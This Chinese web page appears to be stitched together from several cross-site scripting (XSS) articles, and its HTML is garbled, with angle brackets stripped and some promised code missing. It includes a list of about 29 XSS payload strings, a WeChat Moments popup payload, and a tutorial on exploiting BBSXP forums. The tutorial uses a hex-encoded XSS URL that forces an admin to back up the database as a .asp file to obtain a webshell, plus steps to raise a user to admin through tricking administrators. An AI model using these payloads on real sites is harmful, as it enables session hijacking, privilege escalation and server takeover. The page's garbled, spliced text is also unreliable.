很多网站都有私信或者留言板功能。登录用户可以发表评论或者给其他用户(包括管理员)发送私信。一个最简单的模拟表单如下:
form action="sendmessage.php" method="post'"
textarea name="message" /textarea
input type="submit" value="send" /
/form
当用户点击发送时,这条消息会被保存在数据库中指定的数据表中,另一个用户当打开这条消息的时候将看到发送的内容。但是,如果一个恶意攻击者发送的内容包含了一些javascript代码,这些代码用于偷取敏感的cookie信息。当用户打开看到这条消息的时候,恶意的javascript代码就会得到执行,造成敏感cookie信息泄漏。攻击者可以利用获得这些cookie信息进行session hijacking会话劫持,直接以合法用户的身份登录其他用户的账户。
恶意攻击者可以在消息框中加入一下javascript代码:
跨站脚本 ( Cross-Site Scriptin ) 简称xss,是由于Web应用程序对用户的输入过滤不足而产生的.攻击者利用网站漏洞把恶意的脚本代码(通常包括HTML代码和客户端 Javascript脚本)注入到网页之中,当其他用户浏览这些网页时,就会执行其中的恶意代码,对受害用户可能采取 Cookie资料窃取、会话劫持、钓鱼欺骗等各种攻击。
其危害有:
1、网络钓鱼,包括盗取各类用户账号;
2、窃取用户cookies资料,从而获取用户隐私信息,或利用用户身份进一步对网站执行操作;
3、劫持用户(浏览器)会话,从而执行任意操作,例如进行非法转账、强制发表日志、发送电子邮件等;
4、强制弹出广告页面、刷流量等;
5、网页挂马,进行恶意操作,例如任意篡改页面信息、删除文章等;
6、进行大量的客户端攻击,如DDoS攻击;
7、获取客户端信息,例如用户的浏览历史、真实IP、开放端口等;
8、控制受害者机器向其他网站发起攻击;
9、结合其他漏洞,如CSRF漏洞,进一步入侵和破坏系统;
10、提升用户权限,包括进一步渗透网站;
11、传播跨站脚本蠕虫等;
不修改网站程序,使用第三方工具来防范XSS跨站式脚本攻击
网站要怎么防范常见的XSS跨站式脚本攻击呢,我们先从XSS跨站式脚本攻击的原理来说起。
网站遭受XSS跨站式脚本攻击的基本原理
1.本地利用漏洞,这种漏洞存在于页面中客户端脚本自身。
其攻击过程如下所示:
A给B发送一个恶意构造了Web的URL。
B点击并查看了这个URL。
恶意页面中的JavaScript打开一个具有漏洞的HTML页面并将其安装在B电脑上。
具有漏洞的HTML页面包含了在B电脑本地域执行的JavaScript。
A的恶意脚本可以在B的电脑上执行B所持有的权限下的命令。
2反射式漏洞,这种漏洞和本地利用漏洞有些类似,不同的是Web客户端使用Server端脚本生成页面为用户提供数据时,如果未经验证的用户数据被包含在页面中而未经HTML实体编码,客户端代码便能够注入到动态页面中。
其攻击过程如下:
A经常浏览某个网站,此网站为B所拥有。B的站点运行A使用用户名/密码进行登录,并存储敏感信息(比如银行帐户信息)。
C发现B的站点包含反射性的XSS漏洞。
C编写一个利用漏洞的URL,并将其冒充为来自B的邮件发送给A。
A在登录到B的站点后,浏览C提供的URL。
嵌入到URL中的恶意脚本在A的浏览器中执行,就像它直接来自B的服务器一样。此脚本盗窃敏感信息(授权、信用卡、帐号信息等)然后在A完全不知情的情况下将这些信息发送到C的Web站点。
3存储式漏洞,该类型是应用最为广泛而且有可能影响到Web服务器自身安全的漏洞,骇客将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄漏的可能,其中也包括了Web服务器的管理员。
其攻击过程如下:
B拥有一个Web站点,该站点允许用户发布信息/浏览已发布的信息。
C注意到B的站点具有存储式的XXS漏洞。
C发布一个热点信息,吸引其它用户纷纷阅读。
B或者是任何的其他人如A浏览该信息,其会话cookies或者其它信息将被C盗走。
类型A直接威胁用户个体,而类型B和存储式漏洞所威胁的对象都是企业级Web应用。
网站遭受XSS跨站式脚本攻击的基本方式
1. DOM-based cross-site scripting
页面本身包含一些DOM对象的操作,如果未对输入的参数进行处理,可能会导致执行恶意脚本。如下面一些DOM操作:
document.URL
document.URLUnencoded
document.location (and many of its properties)
document.referrer
window.location (and many of its properties)
举个例子,假如某个脆弱的页面的代码如下:
HTML
TITLEWelcome!/TITLE
Hi
SCRIPT
var pos=document.URL.indexOf("name=")+5;
document.write(document.URL.substring(pos,document.URL.length));
/SCRIPT
BR
Welcome to our system
…
/HTML
攻击者使用如下的URL访问时,则非常危险:
http://www.vulnerable.site/welcome.html?name=scriptalert(document.cookie)/script
试了一下,貌似IE、FireFox等浏览器默认 对scriptalert(document.cookie)/script进行了编码,阻止了脚本的执行。但是对于 DOM操作还是要更加谨慎啊,比如把上面的页面修改一下,安全性就增强了不少:
SCRIPT
var pos=document.URL.indexOf("name=")+5;
var name=document.URL.substring(pos,document.URL.length);
if (name.match(/^[a-zA-Z0-9]$/))
{
document.write(name);
}
else
{
window.alert("Security error");
}
/SCRIPT
2. Reflected cross-site scripting
也被称为None-Persistent cross-site scripting,即,非持久化的XSS攻击,是我们通常所说的,也是最常用,使用最广的一种方式。它通过给别人发送带有恶意脚本代码参数的URL,当 URL地址被打开时,特有的恶意代码参数被HTML解析、执行。它的特点是非持久化,必须用户点击带有特定参数的链接菜能引起。
3. Persistent cross-site scripting
持久化XSS攻击,指的是恶意脚本代码被存储进被攻击的数据库,当其他用户正常浏览网页时,站点从数据库中读取了非法用户存入非法数据,恶意脚本代码被执行。这种攻击类型通常在留言板等地方出现。
实施方式
我们来试一把Reflected cross-site scripting。当我们在某网站输入参数XXX,发现参数XXX原样的出现在了页面源码中:
1. input type="text" class="c6e9-b646-9e6a-a7fd Seach" name="w" value="XXX" /
OK,可以开始做文章了,我们将XXX替换为:abc"/scriptalert('haha')/scripta href=",返回的HTML代码如下:
1. input type="text" class="b646-9e6a-a7fd-2a42 Seach" name="w" value="abc"/
2. scriptalert('haha')/script!--" /
这样,scriptalert('haha')/script被执行了。这里再举例一些XSS攻击行为:
1. IMG SRC="javascript:alert('XSS');"
2. IMG SRC=javascript:alert('XSS')
3. IMG SRC="javascript:alert(String.fromCharCode(88,83,83))"
4. IMG SRC="jav ascript:alert('XSS');"
5. SCRIPT/XSS SRC="http://example.com/xss.js"/SCRIPT
6. SCRIPTalert("XSS");///SCRIPT
7. iframe src=http://example.com/scriptlet.html
8. INPUT TYPE="IMAGE" SRC="javascript:alert('XSS');"
9. BODY BACKGROUND="javascript:alert('XSS')"
10. BODY ONLOAD=alert(document.cookie)
11. BODY onload!#$%()*~+-_.,:;?@[/|"]^`=alert("XSS")
12. IMG DYNSRC="javascript:alert('XSS')"
13. IMG DYNSRC="javascript:alert('XSS')"
14. BR SIZE="{alert('XSS')}"
15. IMG SRC='vbscript:msgbox("XSS")'
16. TABLE BACKGROUND="javascript:alert('XSS')"
17. DIV STYLE="width: expression(alert('XSS'));"
18. DIV STYLE="background-image: url(javascript:alert('XSS'))"
19. STYLE TYPE="text/javascript"alert('XSS');/STYLE
20. STYLE type="text/css"BODY{background:url("javascript:alert('XSS')")}/STYLE
21. ?='SCRIPTalert("XSS")/SCRIPT'?
22. A HREF="javascript:document.location='http://www.example.com/'"XSS/A
23. IMG SRC=javascript:alert('XSS')
24. EMBED SRC="http://ha.ckers.org/xss.swf" AllowScriptAccess="always"/EMBED
25. a="get";
26. b="URL(""";
27. c="javascript:";
28. d="alert('XSS');"")";
29. eval(a+b+c+d);
总结一下,要防止XSS跨站式脚本攻击主要是要在查询字符串(QueryString),表单数据(PostData)以及Cookie甚至HTTP报头(Header)中防止掉一些javascript关键字和一些敏感的字符(单引号,分号)以及SQL语言的关键字,以及防止他们使用encode编码。
用ASP或者PHP脚本来实现上面的这些想起来就很麻烦。下面就来介绍下用一个第三方工具IISUTM来处理上面我们说到的问题。
准备工作:先去www.iisutm.com下载最新的IISUTM版本。
根据IISUTM网站防火墙安装及操作手册 中的说明把IISUTM部署到你的服务器上来,这里需要注意的是使用Windows 2003+iis6的服务器,需要开启iis中“以IIS5.0 隔离模式运行 www 服务”选项才能正常使用该软件。
安装完成,通过浏览器访问IISUTM的配置管理界面默认的是http://127.0.0.1:8362,这个是私有地址,只能在该服务器上访问,你需要任何地方都能访问的话,可以在安装的时候IP地址的选项那里填入你服务器的公网IP地址,和你所开放的端口。这样你就可以通过你配置的地址进行访问,或者你可以在iis中直接管理名为IISUTM的站点。
登陆管理界面后点击上面导航栏中的“基本设置”,然后点击左边菜单的“防XSS攻击”链接。
开启该链接里所有的选项,选中之后IISUTM会自动保存配置,下面的“使用不允许的发送序列”是该软件提供的XSS攻击关键字的特征库,你可以根据你网站的情况进行更改(最好不要修改)。
确认以上的配置以后,你可以返回到IISUTM管理界面的首页,这里会列出最近服务器遭受到的攻击以及详细,赶紧去看看你的网站是不是随时有人在进行SQL注入吧,以及哪些攻击被IISUTM处理掉了。
【クロスサイトスクリプティング】
Cross-Site Scripting中文译为「跨站脚本攻击」,简称XSS。
此乃是骇客利用网站上允许使用者输入字元或字串的栏位插入HTML与Script语言,造成其他正常使用者在观看网页的同时,浏览器会主动下载并执行部份恶意的程式码,或被暗地里导入到恶意的网站,而受到某种型态的影响。如今大部份的网站都强调所谓与使用者互动的功能,加入许多允许使用者输入字串的栏位,如:留言板、讨论区、查询栏位等;有些互动的功能能将使用者输入的字串存入后端资料库,如果骇客输入某些含有攻击式的语言,一旦使用者进入此页面时,因执行未预期的动作而将遭受某种程度的威胁。
留言板:
1.输入正常的留言内容
2.输入超出字符限制的留言内容
3.输入具有跨站风险xss的脚本内容(如:script等)
4.不输入内容
5.输入内容点击取消按钮
6.复制内容到留言板中
7.根据需求编写其他的测试用例内容
别再随便玩不知原有的漏洞 微信朋友圈可能被封禁
就在5月26日当天,有网友发现了一个疑似微信朋友圈的漏洞,只要在朋友圈的地理位置信息中添加一段特殊代码,就可以在好友的微信界面弹出一个任意文字内容的弹窗。不少网友得知该玩法后,都出于好奇心开始尝试,一时间微信的朋友圈各种弹窗满天飞,有网友称,朋友圈被“玩坏了”。而次日,也就是5月27日早上,有玩过弹窗的网友却发现,一觉醒来自己的微信朋友圈竟然遭官方封禁了!有业内人士推测,是微信方面做了紧急处理!
5月26日,有网友爆料称,微信可以在朋友的手机上实现远程弹窗,当时不少网友还表示,难道是这是微信的隐藏“彩蛋”吗?然而事实并非如此,很快有相关安全机构就表示,这是微信存在的XSS漏洞。也就是所谓专业人士所谓的跨站脚本漏洞,据悉,该漏洞是由于程序员在编写程序时对用户提交的数据没有做充分的合规性判断和进行HTML编码处理,直接把数据输出到浏览器客户端,这样导致用户可以提交一些特意构造的脚本代码或HTML标签代码,并在输出到浏览器时被执行。黑客利用跨站漏洞输入恶意的脚本代码,当恶意的代码被执行后就形成了所谓的跨站攻击。一般来说对于人机交互比较高的程序,比如论坛,留言板这类程序都比较容易进行跨站攻击。
它的具体流程是这样的:
发送一段代码到朋友圈,创建位置,里面有两个字段,一个用于触发弹窗的,一个用来显示在弹窗里。
img src=1 =confirm("这是弹窗显示的文字!");prompt("这是用来触发的文字");
比如:
只要有人在微信朋友圈中搜索到这条状态,就会触发该弹窗,比如搜索这条“Test”就会按照代码中的文字,弹出“我就玩玩”:
当天,不少网友得知该玩法后,可能是出于好奇或是好玩的心理,就开始尝试这种远程弹窗,一时间各种弹窗、代码充斥在不少人的朋友圈里。
不过,貌似微信放也很快做出了回应,就在5月27日早上,开始有不少玩过这次远程弹窗的网友开始反映,一觉醒来发现自己无法发布朋友圈了,微信朋友圈被官方封禁了!他们尝试发送朋友圈时,被提示:
发送失败。当前账号因涉及违法或违规行为,已被停用朋友圈功能……
由此,据一位负责网络安全的业内人士表示,这应该是微信官方对于网友们利用漏洞发布违规信息的一种惩戒!所以由此看,此次微信“远程弹窗漏洞”在给不少网友带来了一天的欢愉外,应该也给微信的整个系统造成了不小的麻烦。虽然目前微信方面貌似还没有针对此次事件做出正面回应,但是,小编在此也提醒广大用户,以后再发现此类问题,还是三思而后“玩”吧!
就个人而言,我把XSS攻击分成两类,一类是来自内部的攻击,主要指的是利用程序自身的漏洞,构造跨站语句,如:dvbbs的showerror.asp存在的跨站漏洞。另一类则是来来自外部的攻击,主要指的自己构造XSS跨站漏洞网页或者寻找非目标机以外的有跨站漏洞的网页。如当我们要渗透一个站点,我们自己构造一个有跨站漏洞的网页,然后构造跨站语句,通过结合其它技术,如社会工程学等,欺骗目标服务器的管理员打开。 然后利用下面的技术得到一个shell.[编辑本段]如何利用 传统的跨站利用方式一般都是攻击者先构造一个跨站网页,然后在另一空间里放一个收集cookie的页面,接着结合其它技术让用户打开跨站页面以盗取用户的cookie,以便进一步的攻击。个人认为这种方式太过于落后,对于弊端大家可能都知道,因为即便你收集到了cookie你也未必能进一步渗透进去,多数的cookie里面的密码都是经过加密的,如果想要cookie欺骗的话,同样也要受到其它的条件的限约。而本文提出的另一种思路,则从一定程度上解决上述的问题。对于个人而言,比较成熟的方法是通过跨站构造一个表单,表单的内容则为利用程序的备份功能或者加管理员等功能得到一个高权限。下面我将详细的介绍这种技术。[编辑本段]来自内部的跨站攻击 寻找跨站漏洞 如果有代码的话比较好办,我们主要看代码里对用户输入的地方和变量有没有做长度和对”〈”,”〉”,”;”,”’”等字符是否做过滤。还有要注意的是对于标签的闭合,像测试QQ群跨站漏洞的时候,你在标题处输入〈script〉alert(‘test’)〈/script〉,代码是不会被执行的,因为在源代码里,有其它的标签未闭合,如少了一个〈/script〉,这个时候,你只要闭合一个〈/script〉,代码就会执行,如:你在标题处输入〈/script〉〈script〉alert(‘test’)〈/script〉,这样就可以弹出一个test的框。 如何利用 我先以BBSXP为例,过程已做成动画,详情可见光盘中的动画。我举BBSXP中其中两个比较好用的跨站漏洞点为例. a.先注册一个普通用户,我这里注册的用户是linzi.然后我们在个人签名里写入: c.然后发个贴子,可以结合其它技术欺骗管理员浏览发的贴子。 d.因为是测试,所以我们以管理员身份登陆,然后打开贴子,我们会发现,linzi已经变成了社区区长工,如图一所示 除此之外我们只要在个人签名里输入 同样发个贴子等,只要管理员打开了,就会加了一个扩展名为asp (有空格)的上传扩展,这个时候,你只要上传一个newmm.asp (有空格)就可以得到一个shell. 上面的攻击多多少少有点局限性,虽然可以得到shell,但是隐蔽性不太好,因为签名 处受到了长度的限制,不能超过255个字符。我们可以结合flash跨站实现更为隐蔽的 攻击,对于flash木马的制作,下面见哥们丰初的介绍。 再利用如下: 修改一下个人头像的url,输入代码如下: 再接着欺骗管理员打开你的资料或者浏览你的贴子,当管理员打开后,会在后台自动加个php扩展名的后辍,因为bbsxp在个人头像url里过滤了空格,%,所以我们只能加个不包括空格的其它扩展,当然你也可以加个shtml的扩展,有了它你就可以用来查看源代码,然后进一步攻击。[编辑本段]来自外部的跨站攻击 有的时候,当我们对于目标程序找不到可以利用的跨站点,这个时候我们可以利用可以从外部入手,利用我们要拿下的是它的论谈,论谈的安全性做的很好,但其留言板却存在跨站漏洞,这个时候我们可以在留言板里写入跨站语句,跨站语句为以表单的方式向论谈提交提升权限的语句,如上面的bbsxp加asp 扩展的语句。当然我们可利用后台的备份功能直接得到一个shell。 例:先上传一个文件linzi.txt,内容如下: 〈body onload="javascript:document.forms[0].submit()"〉〈form action=" http://127.0.0.1/bbsxp/admin_fso.asp?menu=bakbf " method="post"〉〈input value="database/bbsxp.mdb" name="yl" 〉〈input value="database/shit.asp" name="bf" 〉〈/body〉〈/html〉 上面的代码是把论谈的数据库备份为shit.asp,留言板存在跨站点如下: http://127.0.0.1/bbsxp/page2.asp?username= 我们构造备份跨站语句如下: http://127.0.0.1/bbsxp/page2.asp?username=%3C%62%6F%64%79%20%6F%6E%6C%6F%61%64%3D%22%6A%61%76%61%73%63%72%69%70%74%3A%64%6F%63%75%6D%65%6E%74%2E%66%6F%72%6D%73%5B%30%5D%2E%73%75%62%6D%69%74%28%29%22%3E%3C%66%6F%72%6D%20%61%63%74%69%6F%6E%3D%22%68%74%74%70%3A%2F%2F%31%32%37%2E%30%2E%30%2E%31%2F%62%62%73%78%70%2F%61%64%6D%69%6E%5F%66%73%6F%2E%61%73%70%3F%6D%65%6E%75%3D%62%61%6B%62%66%22%20%6D%65%74%68%6F%64%3D%22%70%6F%73%74%22%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%62%62%73%78%70%2E%6D%64%62%22%20%6E%61%6D%65%3D%22%79%6C%22%20%3E%3C%69%6E%70%75%74%20%76%61%6C%75%65%3D%22%64%61%74%61%62%61%73%65%2F%73%68%69%74%2E%61%73%70%22%20%6E%61%6D%65%3D%22%62%66%22%20%3E%3C%2F%62%6F%64%79%3E%3C%2F%68%74%6D%6C%3E 或者构造跨站语句,利用iframe打开一个0大小的linzi.txt。 当管理员打开后,会自动备份得到一个shell.[编辑本段]XSS与其它技术的结何 从上面的实例,我们可以知道,如何欺骗管理打开是一个很重要的步骤,对于欺骗打开,除了社会工程学外,我们可以结合其它的技术,如sql injection.当我们渗透一个网站之时,主站mssql注入漏洞,权限为public,这个时候我们利用update构造跨站语句,如用iframe打开一个上面的备份得到shell的跨站语句等,同样,我们可以在社会工程学时,利用QQ的其它跨站漏洞等等。 总是对于欺骗也是一门艺术,具体怎么利用,大家就发挥自己的想象力吧! 好一个欺骗也是一门艺术,不管是在生活中还是在网络中。生活中难免有些事情不能讲真话,这时采用适当的方法使得我们的假话当作真话讲,这就靠欺骗的艺术了。
这个其实是一个js代码,作用就是弹出alert里面的字符串内容,也可以用变量;
script
alert('xxx') //弹出字符串xxx
/script
教程的话,就是js代码教程,网上也有很多的。
我来说两句